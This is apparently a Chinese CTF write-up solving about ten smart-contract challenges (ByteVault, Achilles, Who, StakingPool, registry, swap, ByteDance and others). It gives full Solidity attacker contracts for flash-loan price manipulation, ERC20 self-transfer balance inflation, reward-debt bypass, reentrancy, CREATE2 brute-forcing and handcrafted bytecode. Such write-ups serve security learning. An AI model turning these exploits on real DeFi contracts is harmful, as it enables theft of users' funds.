招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
greeterVault
https://github.com/MetaTrustLabs/ctf/commit/2e2c841250b67d98a2894425c5242dbcf7ce94a6#diff-597833c89f8719e8c208f1822f8cfc72b1b7581365bcded1c135dea97e22055d
greeterGate
constructor(bytes32 _data1,bytes32 _data2,bytes32 _data3) {
data[0] = _data1;
data[1] = _data2;
data[2] = _data3;
}
function unlock(bytes memory _data) public onlyThis {
require(bytes16(_data) == bytes16(data[2]));
locked = false;
}
传进构造函数的三个data就在input后面
之后调用unlock函数就行
ByteVault
分析
1.全局观
代码量很少,只有一个withdraw()
供调用
2.任务
将此合约的余额归零
function isSolved() public view returns(bool){
return address(this).balance == 0;
}
3.详细分析
modifier要求我们用合约进行攻击:
modifier onlyBytecode() {
require(msg.sender != tx.origin, "No high-level contracts allowed!");
_;
}
对于withdraw()
的分析如下:我们需要用一个合约进行攻击,这个合约的字节码的字节长度需要是奇数,并且包含了0xdeadbeef
function withdraw() external onlyBytecode {
uint256 sequence = 0xdeadbeef;
bytes memory senderCode;
address bytecaller = msg.sender;
// 那么大概意思就是要让我们用字节码创造一个合约
assembly {
let size := extcodesize(bytecaller) // 调用者的代码大小
senderCode := mload(0x40) // 空闲指针
// 修改空闲指针内容
// 修改空闲指针内容,空闲指针指向新的可用内存(将要存储的 size和我们的合约代码 之后的位置)
mstore(0x40, add(senderCode, and(add(add(size, 0x20), 0x1f), not(0x1f))))
// 在内存中写入size和实际的合约代码内容
// 操作之后的memory: | size | 实际的代码内容 | 空闲指针指向位置 |
mstore(senderCode, size)
extcodecopy(bytecaller, add(senderCode, 0x20), 0, size)
}
// 攻击合约的字节长度必须是奇数
require(senderCode.length % 2 == 1, "Bytecode length must be even!");
// 因此我们的字节码需要包含0xdeadbeef
for(uint256 i = 0; i < senderCode.length - 3; i++) {
// 第i个字节是0x000000de[de]
if(senderCode[i] == byte(uint8(sequence >> 24))
// 第i+1个字节是0x0000dead
&& senderCode[i+1] == byte(uint8((sequence >> 16) & 0xFF))
// 第i+2个字节是0x00deadbe[be]
&& senderCode[i+2] == byte(uint8((sequence >> 8) & 0xFF))
// 第i+3个字节是0xdeadbeef[ef]
&& senderCode[i+3] == byte(uint8(sequence & 0xFF))) {
msg.sender.transfer(address(this).balance);
return;
}
}
revert("Sequence not found!");
}
我的解题思路:字节码长度是奇数比较简单,不断尝试在合约中添加没用的代码,试出来奇数字节长度的合约;需要包含0xdeadbeef则直接将0xdeadbeef写成constant,硬编码进bytecode即可。
解题
contract attacker{
bytes constant aaa = "0xdeadbeef";
bytes constant bbb = hex"deadbeef";
function attack(BytecodeVault addr) public {
bytes memory xx = aaa;
bytes memory s = bbb;
addr.withdraw();
}
function() external payable{}
}
Achilles
分析
全局观
整个题目的主体为ERC20代币与pancakeSwap合约
任务
要求获取到至少100ether的weth
详细分析
在erc20合约Achilles中有 _airdrop函数:
function _airdrop(address from, address to, uint256 tAmount) private {
uint256 seed = (uint160(msg.sender) | block.number) ^ (uint160(from) ^ uint160(to));
address airdropAddress;
for (uint256 i; i < airdropAmount;) {
airdropAddress = address(uint160(seed | tAmount));
_balances[airdropAddress] = airdropAmount;
emit Transfer(airdropAddress, airdropAddress, airdropAmount);
unchecked{
++i;
seed = seed >> 1;
}
}
}
在该函数中会给一个随机地址发送1wei的空投,这里发送空投的方式是将空投地址的余额变为0,同时这个空投地址的计算方式使用的是异或,是可逆的,所以空投地址可以被操控。
我们可以利用该函数将pair地址的erc20代币余额设置为1,这样就可以抬高该代币的价格。
同时,攻击合约也应该有一定量的代币,这里只需要使用该函数给攻击合约1wei的空投。
但是执行空投的次数为airdropAmount,目前默认为0。使用Airdrop函数可以指定任意的次数,但这里要求pair合约中weth的数量要ach代币数量的5倍以上,可以使用闪电贷功能,先借出一定数量的ach代币,满足数量要求,并在闪电贷回调函数中调用Airdrop更改airdropAmount。
题解
contract exp {
SetUp public setup = SetUp(0xF4Ae26b24c890702BcBe22Bdaf87a95D0b4993Dd);
Achilles public achilles = Achilles(setup.achilles());
PancakePair public pair = PancakePair(setup.pair());
WETH public weth = WETH(setup.weth());
constructor() {
// go();
// go1();
// go2();
// getflag();
}
function go() public {
pair.swap(900 ether, 0, address(this), bytes("0x001"));
}
function go1() public {
address to = address(uint160((uint160(address(this)) | block.number) ^ (uint160(address(this)) ^ uint160(address(pair)))));
achilles.transfer(to, 0);
to = address(uint160((uint160(address(this)) | block.number) ^ (uint160(address(this)) ^ uint160(address(this)))));
achilles.transfer(to, 0);
}
function go2() public {
pair.sync();
achilles.transfer(address(pair), 1);
pair.swap(0, 100 ether, address(this), bytes("0x"));
}
function getflag() public {
weth.transfer(0x314B789C7c53a9287E9f7FFF5701203962D656cE, 100 ether);
// require(setup.isSolved());
}
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external {
achilles.Airdrop(1);
achilles.transfer(address(pair), amount0);
}
}
Who
分析
1.全局观
只有一个合约,一眼可以看出是过关斩将的题目类型:4个stage
2.任务
让mapping中的相关信息返回true
function isSolved() external view returns (bool) {
return stats[4][who];
}
3.详细分析
setup
很明显,是要用CREATE2创建特殊要求的地址,那么就需要用CREATE2爆破了。
function setup() external {
require(uint256(uint160(msg.sender)) % 1000 == 137, "!good caller");
who = msg.sender;
}
用下面的代码来爆破(FooEXP此时还尚未写):通过deploy部署得到符合setup()
条件的攻击地址
function deploy() public returns(address){
address addr;
bytes memory bytecode = type(FooEXP).creationCode;
uint256 salt = bruteForceDeploy();
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
deployedAddress = addr;
return addr;
}
function getAddress( bytes memory bytecode, uint _salt) public view returns (address) {
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
_salt,
keccak256(bytecode)
)
);
// NOTE: cast last 20 bytes of hash to address
return address(uint160(uint(hash)));
}
function bruteForceDeploy() public view returns(uint){
for (uint i = 1; i < 999999; i++) {
address addr = getAddress(type(FooEXP).creationCode, i);
if (uint256(uint160(addr)) % 1000 == 137) {
return i;
}
}
}
stage1
攻击合约写一个check()
方法,两次调用的返回结果不一样:第一次返回keccak256(abi.encodePacked("1337"))
,第二次返回keccak256(abi.encodePacked("13337"))
,和Ethernaut的[Elevator] (https://www.levi104.com/2023/06/23/04.Ethernaut%20CTF/11.Elevator/)原理一样
function stage1() external {
require(msg.sender == who, "stage1: !setup");
stats[1][msg.sender] = true;
(, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("check()"));
require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("1337")), "stage1: !check");
(, data) = msg.sender.staticcall(abi.encodeWithSignature("check()"));
require(abi.decode(data, (bytes32)) == keccak256(abi.encodePacked("13337")), "stage1: !check2");
}
解题方案:由于staticcall不能修改状态,因此我们选择用gas剩余量来判断两次调用。如果让两次调用之间存在差别呢?我们的选择是通过staticcall计算gas的特点:冷地址消耗100gas,热地址消耗2600gas。第一次访问address(0x100)是热地址,返回”1337”,第二次访问address(0x100)是冷地址,消耗100gas,返回“13337”,这是关于[staticcall操作码] (https://www.evm.codes/?fork=shanghai)的特点。
function check() public view returns (bytes32) {
uint startGas = gasleft();
uint bal = address(0x100).balance;
uint usedGas = startGas - gasleft();
if (usedGas < 1000) {
return keccak256(abi.encodePacked("13337"));
}
return keccak256(abi.encodePacked("1337"));
}
stage2
stage调用会不断地递归下去,直到gas消耗完,要么成功,要么revert(极大概率)
function stage2() external {
require(stats[1][msg.sender], "goto stage1");
stats[2][msg.sender] = true;
require(this._stage2() == 7, "!stage2");
}
function _stage2() external payable returns (uint x) {
unchecked {
x = 1;
try this._stage2() returns (uint x_) {
x += x_;
} catch {}
}
}
我们无法知道程序会在什么时候停下来使得返回值为7,遇到这个情况,最好的方式就是爆破:我在foundry本地测试过了,大概会在40000~41000之间程序会成功,实际攻击题目的时候,不要从i=1开始遍历,因为gas会超过上限
function brure_force_stage2() public {
for (uint i = 40200; i < 40399; i++) {
(bool success, ) = address(chall).call{gas: i}(
abi.encodeWithSignature("stage2()")
);
if (success) {
break;
}
}
}
stage3
代码量很多,但是其实最简单,这个就是猜测数值,伪随机数,我们在同一笔交易中用相同的方式获取答案。另外需要注意的是,由于回调的时候有{gas: 3_888}
限制,因此我们的回调函数要尽可能的小,否则会因为gas不足而revert
function stage3() external {
require(stats[2][msg.sender], "goto stage2");
stats[3][msg.sender] = true;
uint[] memory challenge = new uint[](8);
// 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知
challenge[0] = (block.timestamp & 0xf0000000) >> 28;
challenge[1] = (block.timestamp & 0xf000000) >> 24;
challenge[2] = (block.timestamp & 0xf00000) >> 20;
challenge[3] = (block.timestamp & 0xf0000) >> 16;
challenge[4] = (block.timestamp & 0xf000) >> 12;
challenge[5] = (block.timestamp & 0xf00) >> 8;
challenge[6] = (block.timestamp & 0xf0) >> 4;
challenge[7] = (block.timestamp & 0xf) >> 0;
(, bytes memory data) = msg.sender.staticcall{gas: 3_888}(abi.encodeWithSignature("sort(uint256[])", challenge));
uint[] memory answer = abi.decode(data, (uint[]));
// 冒泡排序,从小到大
for(uint i=0 ; i<8 ; i++) {
for(uint j=i+1 ; j<8 ; j++) {
if (challenge[i] > challenge[j]) {
uint tmp = challenge[i];
challenge[i] = challenge[j];
challenge[j] = tmp;
}
}
}
// 从上面分析可以知道,我们的data decode出来之后,数据变化要和时间戳一样,而时间戳在一笔交易得知的
for(uint i=0 ; i<8 ; i++) {
require(challenge[i] == answer[i], "stage3: !sort");
}
}
解决方案:我选择在一笔交易中,构造器中初始化随机数,不在方法中计算随机数否则gas是不够的,然后进行攻击
function sort(uint256[] memory) public returns (uint[] memory) {return challenge;}
constructor() {
// 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知
challenge[0] = (block.timestamp & 0xf0000000) >> 28;
challenge[1] = (block.timestamp & 0xf000000) >> 24;
challenge[2] = (block.timestamp & 0xf00000) >> 20;
challenge[3] = (block.timestamp & 0xf0000) >> 16;
challenge[4] = (block.timestamp & 0xf000) >> 12;
challenge[5] = (block.timestamp & 0xf00) >> 8;
challenge[6] = (block.timestamp & 0xf0) >> 4;
challenge[7] = (block.timestamp & 0xf) >> 0;
// 冒泡排序,从小到大
for(uint i=0 ; i<8 ; i++) {
for(uint j=i+1 ; j<8 ; j++) {
if (challenge[i] > challenge[j]) {
uint tmp = challenge[i];
challenge[i] = challenge[j];
challenge[j] = tmp;
}
}
}
}
stage4
这里明显就是要找到stats[4] [who]在EVM的存储位置:涉及到嵌套mapping,找到stats[4] [who]的位置,然后设置为true即可
mapping (uint256 => mapping (address => bool)) stats; // slot_1
function stage4() external {
require(stats[3][msg.sender], "goto stage3");
(, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("pos()"));
bytes32 pos = abi.decode(data, (bytes32));
assembly {
sstore(pos, 0x1)
}
}
function isSolved() external view returns (bool) {
return stats[4][who];
}
解决方案:
function firstMapping(uint256 _key,uint256 x) public pure returns(bytes32) {
return keccak256(abi.encode(_key, x));
}
function secondMapping(address _key,uint256 x) public pure returns(bytes32) {
return keccak256(abi.encode(_key, x));
}
function findPosition(address addr) public returns(bytes32){
bytes32 a1 = firstMapping(4,1);
bytes32 a2 = secondMapping(addr,uint256(a1));
return a2;
}
解题
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "Foo";
contract ContainerDeployScript is Script {
function run() public {
uint256 deployerPrivateKey = vm.envUint("privatekey");
vm.startBroadcast(deployerPrivateKey);
Attacker xxx = new Attacker();
xxx.attack();
vm.stopBroadcast();
}
}
contract Attacker {
function attack() public{
Foo foo = Foo(address(0x828b9ca82DFcC53743a1f60BeafEd1E200511a62));
Deployer deployer = new Deployer(address(foo));
FooEXP attacker = FooEXP(deployer.deploy());
attacker.hack_setup(address(foo));
attacker.hack1();
attacker.hack2{gas:9000000000000}();
attacker.hack3();
bytes32 position = calPosition(address(attacker));
attacker.set_pos(position);
attacker.hack4();
}
function Mapping_1(uint256 _key,uint256 x) public pure returns(bytes32) {
return keccak256(abi.encode(_key, x));
}
function Mapping_2(address _key,uint256 x) public pure returns(bytes32) {
return keccak256(abi.encode(_key, x));
}
function calPosition(address addr) public returns(bytes32){
bytes32 a1 = Mapping_1(4,1);
bytes32 a2 = Mapping_2(addr,uint256(a1));
return a2;
}
}
contract FooEXP {
Foo public chall;
bytes32 _pos;
uint[] public challenge = new uint[](8);
constructor() {
// 这里的challenge是根据时间戳来确定的,而时间戳可以在同一笔交易中得知
challenge[0] = (block.timestamp & 0xf0000000) >> 28;
challenge[1] = (block.timestamp & 0xf000000) >> 24;
challenge[2] = (block.timestamp & 0xf00000) >> 20;
challenge[3] = (block.timestamp & 0xf0000) >> 16;
challenge[4] = (block.timestamp & 0xf000) >> 12;
challenge[5] = (block.timestamp & 0xf00) >> 8;
challenge[6] = (block.timestamp & 0xf0) >> 4;
challenge[7] = (block.timestamp & 0xf) >> 0;
// 冒泡排序,从小到大
for(uint i=0 ; i<8 ; i++) {
for(uint j=i+1 ; j<8 ; j++) {
if (challenge[i] > challenge[j]) {
uint tmp = challenge[i];
challenge[i] = challenge[j];
challenge[j] = tmp;
}
}
}
}
function brure_force_stage2() public {
for (uint i = 40200; i < 40399; i++) {
(bool success, ) = address(chall).call{gas: i}(
abi.encodeWithSignature("stage2()")
);
if (success) {
break;
}
}
}
function hack_setup(address _addr) public {
chall = Foo(_addr);
chall.setup();
}
function hack1() public {
chall.stage1();
}
function hack2() public {
brure_force_stage2();
}
function hack3() public {
chall.stage3();
}
function hack4() public {
chall.stage4();
}
function check() public view returns (bytes32) {
uint startGas = gasleft();
uint bal = address(0x100).balance;
uint bal = address(0x100).balance;
uint usedGas = startGas - gasleft();
if (usedGas < 1000) {
return keccak256(abi.encodePacked("13337"));
}
return keccak256(abi.encodePacked("1337"));
}
function sort(uint256[] memory) public returns (uint[] memory) {
return challenge;
}
function set_pos(bytes32 a) public{
_pos = a;
}
function pos() public view returns(bytes32){
return _pos;
}
}
contract Deployer{
Foo public chall;
FooEXP public exp;
uint salt;
address public deployedAddress;
constructor(address _addr) public {
chall = Foo(_addr);
}
function getHash()external view returns(bytes32){
bytes memory aaaa = type(FooEXP).creationCode;
return keccak256(aaaa);
}
function deploy() public returns(address){
address addr;
bytes memory bytecode = type(FooEXP).creationCode;
uint256 salt = bruteForceDeploy();
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
deployedAddress = addr;
return addr;
}
function getAddress(
bytes memory bytecode,
uint _salt
) public view returns (address) {
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
_salt,
keccak256(bytecode)
)
);
// NOTE: cast last 20 bytes of hash to address
return address(uint160(uint(hash)));
}
function bruteForceDeploy() public view returns(uint){
for (uint i = 1; i < 999999; i++) {
address addr = getAddress(type(FooEXP).creationCode, i);
if (uint256(uint160(addr)) % 1000 == 137) {
return i;
}
}
}
}
StakingPool
全局观
主合约是一个质押池合约,里面存放两种代币,两种代币分别ERC20和ERC20V2
任务
获取flag的条件是两种代币的数量达到一定的值
详细分析
function _transfer(address from, address to, uint256 amount) internal override virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
uint256 toBalance = _balances[to];
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] = toBalance + amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
在ERC20V2合约的_transfer函数中,在进行余额的变换中,使用了两个中间变量,当_transfer的from地址与to地址为相同地址时,由于中间变量的存在,转账之后的余额并不会减少,导致余额可以凭空增加。所以对于stageB,只要有一定量的token2,就可以通过自我转账来满足条件。 在向池子中存入代币时,会增加用户的debt
for (uint256 i = 0; i < rewardTokens.length; i++) {
user.rewardDebt[rewardTokens[i]] = user
.amount
* (accTokenPerShare[rewardTokens[i]])
/ (PRECISION_FACTOR[rewardTokens[i]]);
}
这会减少两种代币的奖励,但是池子合约本身是一个erc20合约,里面实现了transfer函数,可以将本合约的余额转到另一个地址,这时新地址的debt还是0,这样就可以获取到更多奖励代币。
题解
contract Exp {
StakingPoolsDeployment public dev = StakingPoolsDeployment(0x6Bd0241e8D621ed87B5c58147A5c1dD1AFea82D7);
StakingPools public pool = StakingPools(dev.stakingPools());
ERC20 public token1 = ERC20(dev.rewardToken());
ERC20V2 public token2 = ERC20V2(dev.rewardToken2());
ERC20 public stakedToken = ERC20(dev.stakedToken());
Holder public hold;
address[] public airDrop;
uint256 public token1b;
uint256 public token2b;
uint256 public blocknumber;
constructor() {
dev.faucet();
stakedToken.approve(address(pool), type(uint256).max);
pool.deposit(100000e18);
hold = new Holder(address(dev), address(pool), address(this));
pool.transfer(address(hold), 100000e18);
}
function test0() public {
hold.withdraw(100000e18);
token1b = token1.balanceOf(address(this));
token2b = token2.balanceOf(address(this));
}
function test(uint256 count) public {
dev.faucet();
dev.faucet();
stakedToken.approve(address(pool), type(uint256).max);
hold = new Holder(address(dev), address(pool), address(this));
for(uint256 i=0; i<=count; i++) {
dev.faucet();
}
pool.deposit(count * 100000e18);
pool.transfer(address(hold), count * 100000e18);
}
function test1(uint256 count) public {
hold.withdraw(count);
token1b = token1.balanceOf(address(this));
token2b = token2.balanceOf(address(this));
}
function deposit() public {
pool.deposit(100000e18);
}
function go() public {
pool.withdraw(100000e18);
token1b = token1.balanceOf(address(this));
token2b = token2.balanceOf(address(this));
pool.deposit(100000e18);
}
function withdraw() public {
pool.withdraw(100000e18);
token1b = token1.balanceOf(address(this));
token2b = token2.balanceOf(address(this));
}
function number() public returns(uint256) {
uint256 du = blocknumber - block.timestamp;
blocknumber = block.timestamp;
return du;
}
function stage1(uint256 amount) public {
for(uint256 i=0; i<=amount; i++) {
AirDrop airdrop = new AirDrop(address(dev), address(pool), address(this));
airdrop.de();
airDrop.push(address(airdrop));
}
}
function withdraw(uint256 amount) public {
for(uint256 i=0; i<=amount; i++) {
AirDrop airdrop = AirDrop(airDrop[i]);
airdrop.wi();
}
token1b = token1.balanceOf(address(this));
token2b = token2.balanceOf(address(this));
}
function selfTransfer(uint256 amount) public {
token2.transfer(address(this), amount);
}
function transfer(address token, address to, uint256 amount) public {
ERC20(token).transfer(to, amount);
}
}
contract Holder{
StakingPoolsDeployment public dev;
StakingPools public pool;
address public owner;
constructor(address _dev, address _pool, address _owner) {
dev = StakingPoolsDeployment(_dev);
pool = StakingPools(_pool);
owner = _owner;
}
function withdraw(uint256 amount) public {
pool.withdraw(amount);
ERC20 token1 = ERC20(dev.rewardToken());
ERC20V2 token2 = ERC20V2(dev.rewardToken2());
token1.transfer(owner, token1.balanceOf(address(this)));
token2.transfer(owner, token2.balanceOf(address(this)));
}
}
DeFi Maze
DeFiPlatform.calculateYield(1,100000000000000000000,1)
=> DeFiPlatform.requestWithdrawal(7000000000000000000)
=> Vault.isSolved()
guseeGame
-
知识点 -
CREATE2:常规 -
内联汇编:零值槽位(用作空动态内存数组的初始值,永远不应该写入):内存0x60~0x80。考察了immutable变量的初始化赋值方式,本题在内存中取的位置是:0x80~0xa0、0xa0~0xc0和0xc0~0xe0 -
预编译合约:0x0000000000000000000000000000000000000002每个节点都预编译了它,任何值传进去都是做sha2-256返回bytes32 假设我们用0x5B38Da6a701c568545dCfcB03FcB875f56beddC4用户进行解题
pragma solidity 0.8.21;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract A{
function number() pure external returns(uint256){
return 10;
}
}
contract MyToken is ERC20 {
constructor() ERC20("MyToken", "MTK") {
_mint(msg.sender,100);
}
}
contract GuessGame {
uint256 private immutable random01;
uint256 private immutable random02;
uint256 private immutable random03;
A private immutable random04;
MyToken private immutable mytoken;
constructor(A _a) public {
mytoken = new MyToken();
random01 = uint160(msg.sender);
random02 = uint256(keccak256(address(new A()).code));
random03 = block.timestamp;
random04 = _a; // 不要输入A的合约的地址,输入B合约的地址
pureFunc();
}
function pureFunc() pure internal {
assembly{
// 1,2,32才是实际的random01、random02、random03的值
mstore(0x80,1)
mstore(0xa0,2)
mstore(0xc0,32)
}
}
function guess(uint256 _random01, uint256 _random02, uint256 _random03, uint256 _random04) external payable returns(bool){
if(msg.value > 100 ether){
// 100 eth! you are VIP!
}else{
// 零值槽位(用作空动态内存数组的初始值,永远不应该写入)
// _random01 = 0x60 = 96 && msg.value = 1 wei
uint256[] memory arr;
uint256 money = msg.value;
assembly{
mstore(_random01, money)
}
require(random01 == arr.length,"wrong number01");
}
// CREATE2
// C4 + 1 + 2 + 32 + ? = 2
// msg.sender = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
// 231 + ? = 2 ==> 0xE7(231) + ? = 0x02(2) ==> ?=27
// ==> _random02=27
// 玩家需要自行计算自己的_random02,27是举个例子
uint256 y = ( uint160(address(msg.sender)) + random01 + random02 + random03 + _random02) & 0xff;
require(random02 == y,"wrong number02");
// 似乎想用CREATE2爆破?这难度非常高,爆破要非常久
// 不不不,这里的考点不是CREATE2而是precompile contract
// _random03 = 0x0000000000000000000000000000000000000002 sha2-256 input: any output: bytes32
require(uint160(_random03) < uint160(0x0000000000fFff8545DcFcb03fCB875F56bedDc4));
(,bytes memory data) = address(uint160(_random03)).staticcall("Fallbacker()");
require(random03 == data.length,"wrong number03");
// _random04 = 10
require(random04.number() == _random04, "wrong number04");
mytoken.transfer(msg.sender,100);
payable(msg.sender).transfer(address(this).balance);
return true;
}
function captureTheFalg() external view returns(bool){
return mytoken.balanceOf(address(this)) == 0;
}
}
registry
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract NaryaRegistry {
mapping(address => uint256) public records1;
mapping(address => uint256) public records2;
mapping(address => uint256) public balances;
mapping(address => uint256) public NaryaHackers;
mapping(address => uint256) public PwnLogs;
event FLAG(address who);
event log(string);
event loguint(uint256);
constructor() {}
function isNaryaHacker(address who) public view returns (bool result) {
return (NaryaHackers[who] > 0);
}
function identifyNaryaHacker() public {
if (balances[msg.sender] == 0xDA0) {
emit log("success");
NaryaHackers[msg.sender] = 1;
emit FLAG(msg.sender);
}
}
function register() public {
if (balances[msg.sender] > 0) {
return;
}
records1[msg.sender] = 1;
records2[msg.sender] = 1;
balances[msg.sender] =
0xDA0 +
59425114757512643212875124 -
records1[msg.sender] -
records2[msg.sender];
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function pwn(uint256 _amount) public {
address sender = msg.sender;
require(PwnLogs[sender] == 0, "Only ONCE. No More!");
if (
_amount < records1[sender] ||
_amount < records2[sender] ||
records1[sender] + (records2[sender]) != _amount
) {
return;
}
if (balances[sender] >= _amount) {
records1[sender] = records2[sender];
records2[sender] = _amount;
emit loguint(_amount);
(bool result, ) = sender.call(
abi.encodeWithSignature("PwnedNoMore(uint256)", _amount)
);
if (result) {
result;
}
balances[sender] = balances[sender] - (_amount);
}
PwnLogs[sender] = 1;
}
}
contract exp{
address public target;
NaryaRegistry public ng;
uint256 index;
uint256 r1;
uint256 r2;
event logb(bool);
constructor(address _t) public{
target = _t;
r1 = 1;
r2 = 1;
ng = NaryaRegistry(target);
}
function attack() public{
ng.register();
ng.pwn(2);
}
function PwnedNoMore(uint256 _amount) public {
r1 = r2;
r2 = _amount;
uint256 real_amount = r1 + r2;
if(real_amount == 59425114757512643212875122){
return;
}
target.call(
abi.encodeWithSignature("pwn(uint256)",real_amount)
);
}
function getflag() public{
ng.identifyNaryaHacker();
}
}
swap
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IPWNSwapPool is IERC20 {
function removeLiquidity(uint liquidity, address to, uint deadline) external returns (uint _ethAmount, uint _tokenAmount);
}
interface IERC1820Registry {
function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external;
function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) external view returns (address);
}
contract Exploit {
// keccak256("ERC777TokensRecipient")
bytes32 constant internal TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b View in Tenderly ;
IPWNSwapPool public pool;
uint256 public reentryN = 0;
uint256 public liquidityR = 0;
uint256 public liquidityL = 0;
constructor(address _pool, address _erc1820) {
pool = IPWNSwapPool(_pool);
IERC1820Registry(_erc1820).setInterfaceImplementer(
address(this),
TOKENS_RECIPIENT_INTERFACE_HASH,
address(this)
);
}
// fallback function
fallback() external payable {}
receive() external payable {}
// callback function of ERC777 token receiver
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) external {
if (reentryN <= 1) {
return;
}
reentryN -= 1;
removeLiquidity();
}
function removeLiquidity() internal {
require(reentryN != 0, "E02");
require(liquidityR != 0, "E03");
if (reentryN == 1) {
pool.removeLiquidity(liquidityL, address(this), block.timestamp);
} else {
pool.removeLiquidity(liquidityR, address(this), block.timestamp);
}
}
function run(uint256 _reentryN) external {
require(reentryN == 0, "E01");
reentryN = _reentryN;
liquidityR = pool.balanceOf(address(this)) / reentryN;
liquidityL =
pool.balanceOf(address(this)) - liquidityR * reentryN + liquidityR;
removeLiquidity();
}
}
ByteDance
分析
1.全局观
本题代码量很少,只有一个合约:isOddByte()
和isByteDance()
是pure方法,只能调用checkCode()
2.任务
将状态变量solved设置为true,但是checkCode()
中包含delegatecall,因此我们要成功调用checkCode()
然后修改slot_0的内容为1
(bool success,) = _yourContract.delegatecall("");
function isSolved() public view returns(bool){
return solved;
}
3.详细分析
3.1特殊要求
我们先来看两个会被调用到的pure方法:
isOddByte()
:输入一个字节的数据,要求该数据是奇数
function isOddByte(bytes1 b) internal pure returns (bool) {
return (uint8(b) % 2) == 1;
}
isByteDance()
:如下代码分析,可以看出,我们不能够让程序进入到isPal := 0
,要让他返回true
function isByteDance(bytes1 b) internal pure returns (bool) {
bool isPal = true;
assembly {
let bVal := byte(0, b) // bVal就是b
for { let i := 0 } lt(i, 4) { i := add(i, 1) } // 4次循环
{
// 7-i = x
// bVal 逻辑右移 x 位 = y
// y取最低一位
let bitLeft := and(shr(sub(7, i), bVal), 0x01)
// vVal逻辑右移i位 = x
// x取最低一位
let bitRight := and(shr(i, bVal), 0x01)
// 不能进去,也就是bitLeft和bitRight要相等
if iszero(eq(bitLeft, bitRight)) {
isPal := 0
}
}
}
return isPal;
}
根据此方法的要求,我们可以得到满足条件的bytes1数据:0x81
[0x81] | [0x81]
init 1000 0001 | 1000 0001
shr(7) 0000 0001 | 1000 0001 shr(0)
shr(6) 0000 0010 | 0100 0000 shr(1)
shr(5) 0000 0100 | 0010 0000 shr(2)
shr(4) 0000 1000 | 0001 0000 shr(3)
再来看主函数checkCode()
:通过下面的分析,我们可以知道我们需要做的就是自己手动创建一个合约,这个合约的字节码需要满足相关的条件:每一个字节都要是奇数,存在一个字节内容满足isByteDance()
function checkCode(address _yourContract) public {
require(!solved, "Challenge already solved");
bytes memory code;
uint256 size;
bool hasDanceByte = false;
// 那么大概意思就是要让我们用字节码创造一个合约
assembly {
size := extcodesize(_yourContract) // 调用者的代码大小
code := mload(0x40) // 空闲指针
// 修改空闲指针内容,空闲指针指向新的可用内存(将要存储的 size和我们的合约代码 之后的位置)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
// 在内存中写入size和实际的合约代码内容
// 操作之后的memory: | size | 实际的代码内容 | 空闲指针指向位置 |
mstore(code, size)
extcodecopy(_yourContract, add(code, 0x20), 0, size)
}
// 扫描我们合约字节码的每一个字节的内容
for (uint256 i = 0; i < size; i++) {
bytes1 b = code[i];
// 如果这个字节满足isByteDance(),则返回true
if (isByteDance(b)) {
hasDanceByte = true;
}
// 合约字节码的每一个字节都要是奇数
require(isOddByte(b), "Byte is not odd");
}
require(hasDanceByte, "No palindrome byte found");
// 然后就delegatecall我们的攻击合约,修改slot_0内容为true
(bool success,) = _yourContract.delegatecall("");
require(success, "Delegatecall failed");
}
那么我们现在就来构造这个合约。如果通过正常写合约代码,是无法满足这两个条件的,因为我们无法保证编译器编译出来的字节内容,只能保证功能。因此,我们需要自己手动写字节码,然后部署上去。任务:这个字节码需要实现修改slot_0的内容为true的功能、满足isByteDance()
(这个我们前面分析了,用0x81)、每一个字节都是奇数(这就限制了我们使用的操作码的内容)。
3.2构造字节码
核心功能是:用SSTORE将slot_0的内容设置为true,也就是需要stack中包含0,1两个数值,然后用SSTORE写入。
我一开始想的是用PUSH将0和1放进stack,然后SSTORE,最后再停止程序,在程序后面补上0x81。但是PUSH有限制,只能取61,63,65等,并且取了不同的PUSH,输入的内容为1的话,前面会有多余0不符合奇数,输入的数值为0的话,也不符合奇数,因此需要另辟蹊径。
我的想法是用DUP复制,但是也不太可行。便想到用移位和ISZERO来操作行得通:通过下面的步骤就完成了核心功能
[00] PUSH2 0101 61 0101
[03] PUSH2 1101 61 1101
[06] SHL 1B
[07] ISZERO 15
[08] PUSH2 0101 61 0101
[0b] PUSH2 1101 61 1101
[0e] SHL 1B
[0f] SSTORE 55
然后就是要想办法将0x81嵌入进字节码:我的想法是直接用RETURN返回程序,这样就不会报错,并且将0x81嵌入到返回值选取的内容当中
[18] PUSH2 0101 61 0101
[1b] PUSH2 1181 61 1181
[20] RETURN F3
将操作码连接起来,就成为了我们的字节码:
6101016111011B156101016111011B55610101611181F3
